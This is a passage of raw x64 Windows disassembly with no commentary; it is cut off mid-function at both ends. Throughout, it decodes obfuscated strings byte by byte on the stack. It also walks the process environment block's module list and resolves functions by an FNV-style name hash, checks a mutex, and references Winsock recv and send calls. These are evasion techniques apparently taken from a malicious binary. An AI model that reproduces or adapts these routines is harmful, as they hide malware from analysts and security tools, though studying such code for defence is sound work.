movzx eax, bl
and al, 0x24
mov ecx, 0x29
sub cl, al
add cl, cl
add bl, cl
mov byte [rbp + 0x2e], bl
movzx ecx, dil
and cl, 0x25
add cl, cl
mov eax, 0x53
sub al, cl
add dil, al
mov byte [rbp + 0x2f], dil
movzx eax, sil
and al, 0x26
mov ecx, 0x2a
sub cl, al
add cl, cl
add sil, cl
mov byte [rbp + 0x30], sil
movzx ecx, r14b
and cl, 0x27
add cl, cl
mov eax, 0x55
sub al, cl
add r14b, al
mov byte [rbp + 0x31], r14b
movzx eax, r15b
and al, 0x28
mov ecx, 0x2b
sub cl, al
add cl, cl
add r15b, cl
mov byte [rbp + 0x32], r15b
movzx ecx, r12b
and cl, 0x29
add cl, cl
mov eax, 0x57
sub al, cl
add r12b, al
mov byte [rbp + 0x33], r12b
movzx ecx, byte [rbp + 0x34]
movzx eax, cl
and al, 0x2a
mov edx, 0x2c
sub dl, al
add dl, dl
add cl, dl
mov byte [rbp + 0x34], cl
movzx edx, byte [rbp + 0x35]
movzx ecx, dl
and cl, 0x2b
add cl, cl
mov eax, 0x59
sub al, cl
add dl, al
mov byte [rbp + 0x35], dl
movzx ecx, byte [rbp + 0x36]
movzx eax, cl
and al, 0x2c
mov edx, 0x2d
sub dl, al
add dl, dl
add cl, dl
mov byte [rbp + 0x36], cl
movzx edx, byte [rbp + 0x37]
movzx ecx, dl
and cl, 0x2d
add cl, cl
mov eax, 0x5b
sub al, cl
add dl, al
mov byte [rbp + 0x37], dl
movzx ecx, byte [rbp + 0x38]
movzx eax, cl
and al, 0x2e
mov edx, 0x2e
sub dl, al
add dl, dl
add cl, dl
mov byte [rbp + 0x38], cl
movzx edx, byte [rbp + 0x39]
movzx ecx, dl
and cl, 0x2f
add cl, cl
mov eax, 0x5d
sub al, cl
add dl, al
mov byte [rbp + 0x39], dl
movzx ecx, byte [rbp + 0x3a]
movzx eax, cl
and al, 0x30
mov edx, 0x2f
sub dl, al
add dl, dl
add cl, dl
mov byte [rbp + 0x3a], cl
lea r8, [rbp + 0x28]
xor edx, edx
mov ecx, 0x1f0001
call qword [rbp + 0x20]
test rax, rax
jne 0x140017023
mov esi, 0x3486d868
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
cmp qword [rax + 0x30], 0
je 0x14001616a
cmp word [rax + 0x48], 0
je 0x14001616a
movups xmm0, xmmword [rax + 0x58]
movd ecx, xmm0
sub cx, 8
test r13d, r13d
je 0x140015ff3
psrldq xmm0, 8
movq r9, xmm0
movzx ecx, cx
shr rcx, 1
lea r11, [r9 + rcx*2]
mov r10d, 0x8373a1fe
cmp r9, r11
je 0x140015fea
nop word [rax + rax]
movsx ecx, byte [r9]
mov edx, ecx
sub cl, 0x41
mov r8d, edx
or r8d, 0x20
cmp cl, 0x19
cmova r8d, edx
xor r8d, r10d
imul r10d, r8d, 0x1000193
add r9, 2
cmp r9, r11
jne 0x140015fc0
cmp r10d, r13d
jne 0x14001616a
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov rdx, qword [rcx + r11 + 0x88]
mov r15, rdx
shr r15, 0x20
mov edi, edx
add rdi, r11
cmp rdi, r11
je 0x14001616a
mov ebx, dword [rdi + 0x18]
test ebx, ebx
je 0x14001616a
mov r12d, dword [rdi + 0x24]
mov r9d, dword [rdi + 0x1c]
mov r10d, dword [rdi + 0x20]
nop
dec ebx
lea rcx, [r11 + rbx*2]
movzx edx, word [rcx + r12]
lea rcx, [r11 + rdx*4]
mov edx, dword [rcx + r9]
add rdx, r11
mov qword [rbp + 0x20], rdx
lea rcx, [r11 + rbx*4]
mov r9d, dword [rcx + r10]
add r9, r11
cmp rdx, rdi
jbe 0x140016068
lea rcx, [rdi + r15]
cmp rdx, rcx
jae 0x140016068
mov r14b, 1
jmp 0x14001606b
xor r14b, r14b
mov r10d, 0x8373a1fe
movzx ecx, byte [r9]
inc r9
test cl, cl
je 0x1400160ae
nop dword [rax]
movsx edx, cl
sub cl, 0x41
mov r8d, edx
or r8d, 0x20
cmp cl, 0x19
cmova r8d, edx
xor r8d, r10d
imul r10d, r8d, 0x1000193
movzx ecx, byte [r9]
lea r9, [r9 + 1]
test cl, cl
jne 0x140016080
mov rdx, qword [rbp + 0x20]
cmp r10d, esi
je 0x1400160cb
test ebx, ebx
mov r9d, dword [rdi + 0x1c]
mov r10d, dword [rdi + 0x20]
jne 0x140016030
mov rax, qword [rax]
jmp 0x140015f70
test r14b, r14b
je 0x140016172
mov esi, 0x8373a1fe
mov r13d, esi
movzx r8d, byte [rdx]
cmp r8b, 0x2e
je 0x14001611b
nop word [rax + rax]
movsx eax, r8b
sub r8b, 0x41
mov ecx, eax
or ecx, 0x20
cmp r8b, 0x19
cmova ecx, eax
xor ecx, r13d
imul r13d, ecx, 0x1000193
inc rdx
movzx r8d, byte [rdx]
cmp r8b, 0x2e
jne 0x1400160f0
inc rdx
movzx r8d, byte [rdx]
test r8b, r8b
je 0x140016159
nop word [rax + rax]
movsx eax, r8b
sub r8b, 0x41
mov ecx, eax
or ecx, 0x20
cmp r8b, 0x19
cmova ecx, eax
xor ecx, esi
imul esi, ecx, 0x1000193
lea rdx, [rdx + 1]
movzx r8d, byte [rdx]
test r8b, r8b
jne 0x140016130
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x140015f70
mov cl, 0x16
mov dl, 0x68
mov r8b, 0x61
mov r9b, 0x62
mov r10b, 0x5d
mov r11b, reloc.WS2_32.dll_WSAGetLastError
mov bl, 0xa3
mov dil, 0x60
mov sil, 0x6a
mov r14b, 0x79
mov r15b, 0xf0
xorps xmm0, xmm0
xor r12d, r12d
movups xmmword [rsp + 0x3b], xmm0
mov dword [rsp + 0x4b], r12d
movzx eax, cl
and al, 0x3f
add al, al
mov r13d, 0x86
sub r13b, al
add cl, r13b
mov byte [rsp + 0x30], cl
movzx eax, dl
and al, 0x40
add al, al
mov r13d, 0x87
sub r13b, al
add dl, r13b
mov byte [rsp + 0x31], dl
movzx eax, r8b
and al, 0x41
add al, al
mov ecx, 0x88
sub cl, al
add r8b, cl
mov byte [rsp + 0x32], r8b
movzx eax, r9b
and al, 0x42
add al, al
mov ecx, 0x89
sub cl, al
add r9b, cl
mov byte [rsp + 0x33], r9b
movzx eax, r10b
and al, 0x43
add al, al
mov ecx, 0x8a
sub cl, al
add r10b, cl
mov byte [rsp + 0x34], r10b
movzx eax, r11b
and al, 0x44
add al, al
mov r8d, 0x8b
sub r8b, al
add r11b, r8b
mov byte [rsp + 0x35], r11b
movzx eax, bl
and al, 0x45
add al, al
mov r8d, 0x8c
sub r8b, al
add bl, r8b
mov byte [rsp + 0x36], bl
movzx eax, dil
and al, 0x46
add al, al
mov r8d, 0x8d
sub r8b, al
add dil, r8b
mov byte [rsp + 0x37], dil
movzx eax, sil
and al, 0x47
add al, al
mov ecx, 0x8e
sub cl, al
add sil, cl
mov byte [rsp + 0x38], sil
movzx eax, r14b
and al, 0x48
add al, al
mov ecx, 0x8f
sub cl, al
add r14b, cl
mov byte [rsp + 0x39], r14b
movzx eax, r15b
and al, 0x49
add al, al
mov ecx, 0x90
sub cl, al
add r15b, cl
mov byte [rsp + 0x3a], r15b
movd ecx, xmm0
movzx eax, cl
and al, 0x4a
add al, al
mov edx, 0x91
sub dl, al
add cl, dl
mov byte [rsp + 0x3b], cl
movzx ecx, byte [rsp + 0x3c]
movzx eax, cl
and al, 0x4b
add al, al
mov edx, 0x92
sub dl, al
add cl, dl
mov byte [rsp + 0x3c], cl
movzx ecx, byte [rsp + 0x3d]
movzx eax, cl
and al, 0x4c
add al, al
mov edx, 0x93
sub dl, al
add cl, dl
mov byte [rsp + 0x3d], cl
movzx ecx, byte [rsp + 0x3e]
movzx eax, cl
and al, 0x4d
add al, al
mov edx, 0x94
sub dl, al
add cl, dl
mov byte [rsp + 0x3e], cl
movzx ecx, byte [rsp + 0x3f]
movzx eax, cl
and al, 0x4e
add al, al
mov edx, 0x95
sub dl, al
add cl, dl
mov byte [rsp + 0x3f], cl
movzx ecx, byte [rsp + 0x40]
movzx eax, cl
and al, 0x4f
add al, al
mov edx, 0x96
sub dl, al
add cl, dl
mov byte [rsp + 0x40], cl
movzx ecx, byte [rsp + 0x41]
movzx eax, cl
and al, 0x50
add al, al
mov edx, 0x97
sub dl, al
add cl, dl
mov byte [rsp + 0x41], cl
movzx ecx, byte [rsp + 0x42]
movzx eax, cl
and al, 0x51
add al, al
mov edx, 0x98
sub dl, al
add cl, dl
mov byte [rsp + 0x42], cl
movzx ecx, byte [rsp + 0x43]
movzx eax, cl
and al, 0x52
add al, al
mov edx, 0x99
sub dl, al
add cl, dl
mov byte [rsp + 0x43], cl
movzx ecx, byte [rsp + 0x44]
movzx eax, cl
and al, 0x53
add al, al
mov edx, 0x9a
sub dl, al
add cl, dl
mov byte [rsp + 0x44], cl
movzx ecx, byte [rsp + 0x45]
movzx eax, cl
and al, 0x54
add al, al
mov edx, 0x9b
sub dl, al
add cl, dl
mov byte [rsp + 0x45], cl
movzx edx, byte [rsp + 0x46]
movzx ecx, dl
and cl, 0x55
add cl, cl
mov eax, 0x9c
sub al, cl
add dl, al
mov byte [rsp + 0x46], dl
movzx edx, byte [rsp + 0x47]
movzx ecx, dl
and cl, 0x56
add cl, cl
mov eax, 0x9d
sub al, cl
add dl, al
mov byte [rsp + 0x47], dl
movzx edx, byte [rsp + 0x48]
movzx ecx, dl
and cl, 0x57
add cl, cl
mov eax, 0x9e
sub al, cl
add dl, al
mov byte [rsp + 0x48], dl
movzx edx, byte [rsp + 0x49]
movzx ecx, dl
and cl, 0x58
add cl, cl
mov eax, 0x9f
sub al, cl
add dl, al
mov byte [rsp + 0x49], dl
movzx edx, byte [rsp + 0x4a]
movzx ecx, dl
and cl, 0x59
add cl, cl
mov eax, 0xa0
sub al, cl
add dl, al
mov byte [rsp + 0x4a], dl
movzx ecx, r12b
and cl, 0x5a
add cl, cl
mov eax, 0xa1
sub al, cl
add r12b, al
mov byte [rsp + 0x4b], r12b
movzx edx, byte [rsp + 0x4c]
movzx ecx, dl
and cl, 0x5b
add cl, cl
mov eax, 0xa2
sub al, cl
add dl, al
mov byte [rsp + 0x4c], dl
movzx edx, byte [rsp + 0x4d]
movzx ecx, dl
and cl, 0x5c
add cl, cl
mov eax, 0xa3
sub al, cl
add dl, al
mov byte [rsp + 0x4d], dl
movzx edx, byte [rsp + 0x4e]
movzx ecx, dl
and cl, 0x5d
add cl, cl
mov eax, 0xa4
sub al, cl
add dl, al
mov byte [rsp + 0x4e], dl
lea r8, [rsp + 0x30]
xor edx, edx
xor ecx, ecx
call qword [rbp + 0x20]
mov ebx, 4
mov rax, qword gs:[0x58]
add rbx, qword [rax]
mov eax, dword [rbx]
cmp dword [0x1401e06c8], eax
jle 0x1400164ef
lea rcx, [0x1401e06c8]
call fcn.1400cdba0
cmp dword [0x1401e06c8], 0xffffffff
jne 0x1400164ef
lea rcx, [0x1400fab30]
call fcn.1400ce14c
lea rcx, [0x1401e06c8]
call fcn.1400cdb34
lea rcx, [0x1401c6530]
mov rax, qword [0x1401c6530]
call qword [rax + reloc.WS2_32.dll_recv]
mov eax, dword [rbx]
cmp dword [0x1401e06c8], eax
jle 0x140016537
lea rcx, [0x1401e06c8]
call fcn.1400cdba0
cmp dword [0x1401e06c8], 0xffffffff
jne 0x140016537
lea rcx, [0x1400fab30]
call fcn.1400ce14c
lea rcx, [0x1401e06c8]
call fcn.1400cdb34
lea rcx, [0x1401c6530]
mov rax, qword [0x1401c6530]
call qword [rax + 0x18]
mov eax, dword [rbx]
cmp dword [0x1401e06c8], eax
jle 0x14001657f
lea rcx, [0x1401e06c8]
call fcn.1400cdba0
cmp dword [0x1401e06c8], 0xffffffff
jne 0x14001657f
lea rcx, [0x1400fab30]
call fcn.1400ce14c
lea rcx, [0x1401e06c8]
call fcn.1400cdb34
lea rcx, [0x1401c6530]
mov rax, qword [0x1401c6530]
call qword [rax + 0x20]
jmp 0x140017023
mov rcx, qword [rbp + 0x18]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov cl, 0xb6
mov dl, 0xb8
mov r8b, 0x86
mov r9b, 0xba
mov r10b, 0x90
mov r11b, 0x65
mov bl, 0xab
mov dil, 0x95
mov sil, 0x92
mov r14b, 0x96
movzx r15d, r10b
mov r12b, 3
mov qword [rbp - 0x44], r13
mov dword [rbp - 0x3c], r13d
movzx eax, cl
and al, 0x2c
add al, al
mov dword [rbp - 0x30], 0xf8
sub byte [rbp - 0x30], al
add cl, byte [rbp - 0x30]
mov byte [rbp - 0x50], cl
movzx eax, dl
and al, 0x2d
add al, al
mov ecx, 0xf9
sub cl, al
add dl, cl
mov byte [rbp - 0x4f], dl
movzx eax, r8b
and al, 0x2e
add al, al
mov edx, 0xfa
sub dl, al
add r8b, dl
mov byte [rbp - 0x4e], r8b
movzx eax, r9b
and al, 0x2f
add al, al
mov edx, 0xfb
sub dl, al
add r9b, dl
mov byte [rbp - 0x4d], r9b
movzx eax, r10b
and al, 0x30
add al, al
mov ecx, 0xfc
sub cl, al
add r10b, cl
mov byte [rbp - 0x4c], r10b
movzx eax, r11b
and al, 0x31
add al, al
mov edx, 0xfd
sub dl, al
add r11b, dl
mov byte [rbp - 0x4b], r11b
movzx eax, bl
and al, 0x32
add al, al
mov ecx, 0xfe
sub cl, al
add bl, cl
mov byte [rbp - 0x4a], bl
movzx eax, dil
and al, 0x33
add al, al
mov ecx, 0xff
sub cl, al
add dil, cl
mov byte [rbp - 0x49], dil
movzx eax, sil
and al, 0x34
movzx eax, al
imul ecx, eax, 0xfe
add sil, cl
mov byte [rbp - 0x48], sil
movzx eax, r14b
and al, 0x35
add al, al
mov ecx, 1
sub cl, al
add r14b, cl
mov byte [rbp - 0x47], r14b
movzx ecx, r15b
and cl, 0x36
add cl, cl
mov edx, 2
mov eax, edx
sub al, cl
add r15b, al
mov byte [rbp - 0x46], r15b
movzx ecx, r12b
and cl, 0x37
add cl, cl
mov r8d, 3
mov eax, r8d
sub al, cl
add r12b, al
mov byte [rbp - 0x45], r12b
movzx eax, r13b
and al, 0x38
sub dl, al
add dl, dl
lea ecx, [rdx + r13]
mov byte [rbp - 0x44], cl
movzx edx, byte [rbp - 0x43]
movzx ecx, dl
and cl, 0x39
add cl, cl
mov r9d, 5
mov eax, r9d
sub al, cl
add dl, al
mov byte [rbp - 0x43], dl
movzx ecx, byte [rbp - 0x42]
movzx eax, cl
and al, 0x3a
sub r8b, al
add r8b, r8b
add cl, r8b
mov byte [rbp - 0x42], cl
movzx edx, byte [rbp - 0x41]
movzx ecx, dl
and cl, 0x3b
add cl, cl
mov r8d, 7
mov eax, r8d
sub al, cl
add dl, al
mov byte [rbp - 0x41], dl
movzx ecx, byte [rbp - 0x40]
movzx eax, cl
and al, 0x3c
mov edx, 4
sub dl, al
add dl, dl
add cl, dl
mov byte [rbp - 0x40], cl
movzx ecx, byte [rbp - 0x3f]
movzx eax, cl
and al, 0x3d
add al, al
mov edx, 9
sub dl, al
add cl, dl
mov byte [rbp - 0x3f], cl
movzx ecx, byte [rbp - 0x3e]
movzx eax, cl
and al, 0x3e
sub r9b, al
add r9b, r9b
add cl, r9b
mov byte [rbp - 0x3e], cl
movzx ecx, byte [rbp - 0x3d]
movzx eax, cl
and al, 0x3f
add al, al
mov edx, 0xb
sub dl, al
add cl, dl
mov byte [rbp - 0x3d], cl
movzx eax, r13b
and al, 0x40
mov edx, 6
sub dl, al
add dl, dl
lea ecx, [rdx + r13]
mov byte [rbp - 0x3c], cl
movzx ecx, byte [rbp - 0x3b]
movzx eax, cl
and al, 0x41
add al, al
mov edx, recvfrom
sub dl, al
add cl, dl
mov byte [rbp - 0x3b], cl
movzx ecx, byte [rbp - 0x3a]
movzx eax, cl
and al, 0x42
sub r8b, al
add r8b, r8b
add cl, r8b
mov byte [rbp - 0x3a], cl
movzx ecx, byte [rbp - 0x39]
movzx eax, cl
and al, 0x43
add al, al
mov edx, recvfrom
sub dl, al
add cl, dl
mov byte [rbp - 0x39], cl
movzx eax, r13b
and al, 0x44
mov ecx, 8
sub cl, al
add cl, cl
add r13b, cl
mov byte [rbp - 0x38], r13b
mov cl, 0x78
mov dl, 0x72
mov r8b, 0x7b
mov r9b, 7
mov r10b, 0x7d
mov r11b, 0x71
mov bl, 0xbc
mov dil, 3
mov sil, recvfrom
mov r14b, 0xb9
movzx r15d, r11b
mov r12b, 9
mov r13b, 0x79
xor eax, eax
mov qword [rbp - 0x28], rax
mov dword [rbp - 0x74], eax
movzx eax, cl
and al, 0x43
sub byte [rbp + 0x10], al
mov eax, dword [rbp + 0x10]
add al, al
add cl, al
mov byte [rsp + 0x70], cl
movzx ecx, dl
and cl, 0x44
add cl, cl
mov eax, reloc.WS2_32.dll_WSAGetLastError
sub al, cl
add dl, al
mov byte [rsp + 0x71], dl
movzx eax, r8b
and al, 0x45
mov ecx, 0x38
sub cl, al
add cl, cl
add r8b, cl
mov byte [rsp + 0x72], r8b
movzx ecx, r9b
and cl, 0x46
add cl, cl
mov eax, 0x71
sub al, cl
add r9b, al
mov byte [rsp + 0x73], r9b
movzx eax, r10b
and al, 0x47
mov ecx, 0x39
sub cl, al
add cl, cl
add r10b, cl
mov byte [rsp + 0x74], r10b
movzx ecx, r11b
and cl, 0x48
add cl, cl
mov eax, 0x73
sub al, cl
add r11b, al
mov byte [rsp + 0x75], r11b
movzx eax, bl
and al, 0x49
mov ecx, 0x3a
sub cl, al
add cl, cl
add bl, cl
mov byte [rsp + 0x76], bl
movzx ecx, dil
and cl, 0x4a
add cl, cl
mov eax, 0x75
sub al, cl
add dil, al
mov byte [rsp + 0x77], dil
movzx eax, sil
and al, 0x4b
mov ecx, 0x3b
sub cl, al
add cl, cl
add sil, cl
mov byte [rsp + 0x78], sil
movzx ecx, r14b
and cl, 0x4c
add cl, cl
mov eax, 0x77
sub al, cl
add r14b, al
mov byte [rsp + 0x79], r14b
movzx eax, r15b
and al, 0x4d
mov ecx, 0x3c
sub cl, al
add cl, cl
add r15b, cl
mov byte [rsp + 0x7a], r15b
movzx ecx, r12b
and cl, 0x4e
add cl, cl
mov eax, 0x79
sub al, cl
add r12b, al
mov byte [rsp + 0x7b], r12b
movzx eax, r13b
and al, 0x4f
mov ecx, 0x3d
sub cl, al
add cl, cl
add r13b, cl
mov byte [rsp + 0x7c], r13b
mov dl, reloc.WS2_32.dll_send
movzx ecx, dl
and cl, 0x50
add cl, cl
mov eax, 0x7b
sub al, cl
add dl, al
mov byte [rsp + 0x7d], dl
mov cl, 0x18
movzx eax, cl
and al, 0x51
mov edx, 0x3e
sub dl, al
add dl, dl
add cl, dl
mov byte [rsp + 0x7e], cl
mov dl, 0xa7
movzx ecx, dl
and cl, 0x52
add cl, cl
mov eax, 0x7d
sub al, cl
add dl, al
mov byte [rsp + 0x7f], dl
mov cl, 0x16
movzx eax, cl
and al, 0x53
mov edx, 0x3f
sub dl, al
add dl, dl
add cl, dl
mov byte [rbp - 0x80], cl
mov dl, reloc.WS2_32.dll_send
movzx ecx, dl
and cl, 0x54
add cl, cl
mov eax, 0x7f
sub al, cl
add dl, al
mov byte [rbp - 0x7f], dl
mov dl, 0x6b
movzx ecx, dl
and cl, 0x55
add cl, cl
mov eax, 0x80
sub al, cl
add dl, al
mov byte [rbp - 0x7e], dl
mov dl, 0x1d
movzx ecx, dl
and cl, 0x56
add cl, cl
mov eax, 0x81
sub al, cl
add dl, al
mov byte [rbp - 0x7d], dl
mov dl, 0x69
movzx ecx, dl
and cl, 0x57
add cl, cl
mov eax, 0x82
sub al, cl
add dl, al
mov byte [rbp - 0x7c], dl
mov dl, 0x19
movzx ecx, dl
and cl, 0x58
add cl, cl
mov eax, 0x83
sub al, cl
add dl, al
mov byte [rbp - 0x7b], dl
mov dl, 0x63
movzx ecx, dl
and cl, 0x59
add cl, cl
mov eax, 0x84
sub al, cl
add dl, al
mov byte [rbp - 0x7a], dl
mov dl, 0x66
movzx ecx, dl
and cl, 0x5a
add cl, cl
mov eax, 0x85
sub al, cl
add dl, al
mov byte [rbp - 0x79], dl
mov cl, 0x61
movzx eax, cl
and al, 0x5b
add al, al
mov r13d, 0x86
sub r13b, al
add cl, r13b
mov byte [rbp - 0x78], cl
mov cl, reloc.WS2_32.dll_sendto
movzx eax, cl
and al, 0x5c
add al, al
mov r13d, 0x87
sub r13b, al
add cl, r13b
mov byte [rbp - 0x77], cl
mov cl, 0xab
movzx eax, cl
and al, 0x5d
add al, al
mov edx, 0x88
sub dl, al
add cl, dl
mov byte [rbp - 0x76], cl
mov cl, 0x8b
movzx eax, cl
and al, 0x5e
add al, al
mov edx, 0x89
sub dl, al
add cl, dl
mov byte [rbp - 0x75], cl
mov rdx, qword [rbp - 0x28]
movzx eax, dl
and al, 0x5f
add al, al
mov r8d, 0x8a
sub r8b, al
lea ecx, [r8 + rdx]
mov byte [rbp - 0x74], cl
movzx ecx, byte [rbp - 0x73]
movzx eax, cl
and al, 0x60
add al, al
mov r8d, 0x8b
sub r8b, al
add cl, r8b
mov byte [rbp - 0x73], cl
movzx ecx, byte [rbp - 0x72]
movzx eax, cl
and al, 0x61
add al, al
mov r8d, 0x8c
sub r8b, al
add cl, r8b
mov byte [rbp - 0x72], cl
movzx ecx, byte [rbp - 0x71]
movzx eax, cl
and al, 0x62
add al, al
mov r8d, 0x8d
sub r8b, al
add cl, r8b
mov byte [rbp - 0x71], cl
movzx eax, dl
and al, 0x63
add al, al
mov ecx, 0x8e
sub cl, al
add dl, cl
mov byte [rbp - 0x70], dl
lea r8, [rbp - 0x50]
lea rdx, [rsp + 0x70]
jmp 0x140017018
mov cl, 0x96
mov dl, 0xec
movzx r8d, cl
mov r9b, 0xe2
mov r10b, 0x9c
mov r11b, 0x21
mov bl, 0xe3
mov dil, 0x91
mov sil, 0x92
movzx r14d, cl
mov r15b, 0xac
mov r12b, 0x3b
mov qword [rbp - 0x44], r13
mov word [rbp - 0x3c], r13w
movzx eax, cl
and al, 0xd6
add al, al
mov dword [rbp + 0x10], 0xfc
sub byte [rbp + 0x10], al
add cl, byte [rbp + 0x10]
mov byte [rbp - 0x50], cl
movzx eax, dl
and al, 0xd7
add al, al
mov ecx, 0xfd
sub cl, al
add dl, cl
mov byte [rbp - 0x4f], dl
movzx eax, r14b
and al, 0xd8
add al, al
mov ecx, 0xfe
sub cl, al
add r8b, cl
mov byte [rbp - 0x4e], r8b
movzx eax, r9b
and al, 0xd9
add al, al
mov ecx, 0xff
sub cl, al
add r9b, cl
mov byte [rbp - 0x4d], r9b
movzx eax, r10b
and al, 0xda
movzx eax, al
imul ecx, eax, 0xfe
add r10b, cl
mov byte [rbp - 0x4c], r10b
movzx eax, r11b
and al, 0xdb
add al, al
mov ecx, 1
sub cl, al
add r11b, cl
mov byte [rbp - 0x4b], r11b
movzx ecx, bl
and cl, 0xdc
add cl, cl
mov edx, 2
mov eax, edx
sub al, cl
add bl, al
mov byte [rbp - 0x4a], bl
movzx ecx, dil
and cl, 0xdd
add cl, cl
mov r8d, 3
mov eax, r8d
sub al, cl
add dil, al
mov byte [rbp - 0x49], dil
movzx eax, sil
and al, 0xde
sub dl, al
add dl, dl
add sil, dl
mov byte [rbp - 0x48], sil
movzx ecx, r14b
and cl, 0xdf
add cl, cl
mov r9d, 5
mov eax, r9d
sub al, cl
add r14b, al
mov byte [rbp - 0x47], r14b
movzx eax, r15b
and al, 0xe0
sub r8b, al
add r8b, r8b
add r15b, r8b
mov byte [rbp - 0x46], r15b
movzx ecx, r12b
and cl, 0xe1
add cl, cl
mov r8d, 7
mov eax, r8d
sub al, cl
add r12b, al
mov byte [rbp - 0x45], r12b
movzx eax, r13b
and al, 0xe2
mov edx, 4
sub dl, al
add dl, dl
lea ecx, [rdx + r13]
mov byte [rbp - 0x44], cl
movzx edx, byte [rbp - 0x43]
movzx ecx, dl
and cl, 0xe3
add cl, cl
mov r10d, 9
mov eax, r10d
sub al, cl
add dl, al
mov byte [rbp - 0x43], dl
movzx ecx, byte [rbp - 0x42]
movzx eax, cl
and al, 0xe4
sub r9b, al
add r9b, r9b
add cl, r9b
mov byte [rbp - 0x42], cl
movzx ecx, byte [rbp - 0x41]
movzx eax, cl
and al, 0xe5
add al, al
mov edx, 0xb
sub dl, al
add cl, dl
mov byte [rbp - 0x41], cl
movzx ecx, byte [rbp - 0x40]
movzx eax, cl
and al, 0xe6
mov edx, 6
sub dl, al
add dl, dl
add cl, dl
mov byte [rbp - 0x40], cl
movzx ecx, byte [rbp - 0x3f]
movzx eax, cl
and al, 0xe7
add al, al
mov edx, recvfrom
sub dl, al
add cl, dl
mov byte [rbp - 0x3f], cl
movzx ecx, byte [rbp - 0x3e]
movzx eax, cl
and al, 0xe8
sub r8b, al
add r8b, r8b
add cl, r8b
mov byte [rbp - 0x3e], cl
movzx ecx, byte [rbp - 0x3d]
movzx eax, cl
and al, 0xe9
add al, al
mov edx, recvfrom
sub dl, al
add cl, dl
mov byte [rbp - 0x3d], cl
movzx eax, r13b
and al, 0xea
mov edx, 8
sub dl, al
add dl, dl
lea ecx, [rdx + r13]
mov byte [rbp - 0x3c], cl
movzx edx, byte [rbp - 0x3b]
movzx ecx, dl
and cl, 0xeb
add cl, cl
mov eax, reloc.WS2_32.dll_recvfrom
sub al, cl
add dl, al
mov byte [rbp - 0x3b], dl
movzx eax, r13b
and al, 0xec
sub r10b, al
add r10b, r10b
add r13b, r10b
mov byte [rbp - 0x3a], r13b
mov dword [rsp + 0x70], 0x373b2238
mov dword [rsp + 0x74], 0xd37c213d
mov dword [rsp + 0x78], 0x2921792f
mov dword [rsp + 0x7c], 0x77d82339
mov dword [rbp - 0x80], 0xdd2b2326
mov dword [rbp - 0x7c], 0x16131929
mov dword [rbp - 0x78], 0x6b4be411
xor eax, eax
mov qword [rbp - 0x74], rax
mov dword [rbp - 0x6c], eax
mov word [rbp - 0x68], ax
xor r8d, r8d
nop
movzx edx, byte [rsp + r8 + 0x70]
lea ecx, [r8 - 0x35]
movzx eax, dl
and al, cl
add al, al
sub dl, al
add cl, 0x73
add dl, cl
mov byte [rsp + r8 + 0x70], dl
movzx ecx, byte [rsp + r8 + 0x71]
lea edx, [r8 - 0x34]
movzx eax, dl
and al, cl
add al, al
sub dl, al
add cl, 0x73
add dl, cl
mov byte [rsp + r8 + 0x71], dl
movzx edx, byte [rsp + r8 + 0x72]
lea ecx, [r8 - 0x33]
movzx eax, dl
and al, cl
add al, al
sub dl, al
add cl, 0x73
add dl, cl
mov byte [rsp + r8 + 0x72], dl
movzx edx, byte [rsp + r8 + 0x73]
lea ecx, [r8 - 0x32]
movzx eax, dl
and al, cl
add al, al
sub dl, al
add cl, 0x73
add dl, cl
mov byte [rsp + r8 + 0x73], dl
movzx edx, byte [rsp + r8 + 0x74]
lea ecx, [r8 - 0x31]
movzx eax, dl
and al, cl
add al, al
sub dl, al
add cl, 0x73
add dl, cl
mov byte [rsp + r8 + 0x74], dl
movzx ecx, byte [rsp + r8 + 0x75]
lea edx, [r8 - 0x30]
movzx eax, dl
and al, cl
add al, al
sub dl, al
add cl, 0x73
add dl, cl
mov byte [rsp + r8 + 0x75], dl
movzx ecx, byte [rsp + r8 + 0x76]
lea edx, [r8 - 0x2f]
movzx eax, dl
and al, cl
add al, al
sub dl, al
add cl, 0x73
add dl, cl
mov byte [rsp + r8 + 0x76], dl
movzx ecx, byte [rsp + r8 + 0x77]
lea edx, [r8 - 0x2e]
movzx eax, dl
and al, cl
add al, al
sub dl, al
add cl, 0x73
add dl, cl
mov byte [rsp + r8 + 0x77], dl
movzx ecx, byte [rsp + r8 + 0x78]
lea edx, [r8 - 0x2d]
movzx eax, dl
and al, cl
add al, al
sub dl, al
add cl, 0x73
add dl, cl
mov byte [rsp + r8 + 0x78], dl
movzx ecx, byte [rsp + r8 + 0x79]
lea edx, [r8 - 0x2c]
movzx eax, dl
and al, cl
add al, al
sub dl, al
add cl, 0x73
add dl, cl
mov byte [rsp + r8 + 0x79], dl
movzx ecx, byte [rsp + r8 + 0x7a]
lea edx, [r8 - 0x2b]
movzx eax, dl
and al, cl
add al, al
sub dl, al
add cl, 0x73
add dl, cl
mov byte [rsp + r8 + 0x7a], dl
movzx ecx, byte [rsp + r8 + 0x7b]
lea edx, [r8 - 0x2a]
movzx eax, dl
and al, cl
add al, al
sub dl, al
add cl, 0x73
add dl, cl
mov byte [rsp + r8 + 0x7b], dl
movzx ecx, byte [rsp + r8 + 0x7c]
lea edx, [r8 - 0x29]
movzx eax, dl
and al, cl
add al, al
sub dl, al
add cl, 0x73
add dl, cl
mov byte [rsp + r8 + 0x7c], dl
movzx ecx, byte [rsp + r8 + 0x7d]
lea edx, [r8 - 0x28]
movzx eax, dl
and al, cl
add al, al
sub dl, al
add cl, 0x73
add dl, cl
mov byte [rsp + r8 + 0x7d], dl
movzx ecx, byte [rsp + r8 + 0x7e]
lea edx, [r8 - 0x27]
movzx eax, dl
and al, cl
add al, al
sub dl, al
add cl, 0x73
add dl, cl
mov byte [rsp + r8 + 0x7e], dl
movzx ecx, byte [rsp + r8 + 0x7f]
lea edx, [r8 - 0x26]
movzx eax, dl
and al, cl
add al, al
sub dl, al
add cl, 0x73
add dl, cl
mov byte [rsp + r8 + 0x7f], dl
movzx ecx, byte [rbp + r8 - 0x80]
lea edx, [r8 - 0x25]
movzx eax, dl
and al, cl
add al, al
sub dl, al
add cl, 0x73
add dl, cl
mov byte [rbp + r8 - 0x80], dl
movzx ecx, byte [rbp + r8 - 0x7f]
lea edx, [r8 - 0x24]
movzx eax, dl
and al, cl
add al, al
sub dl, al
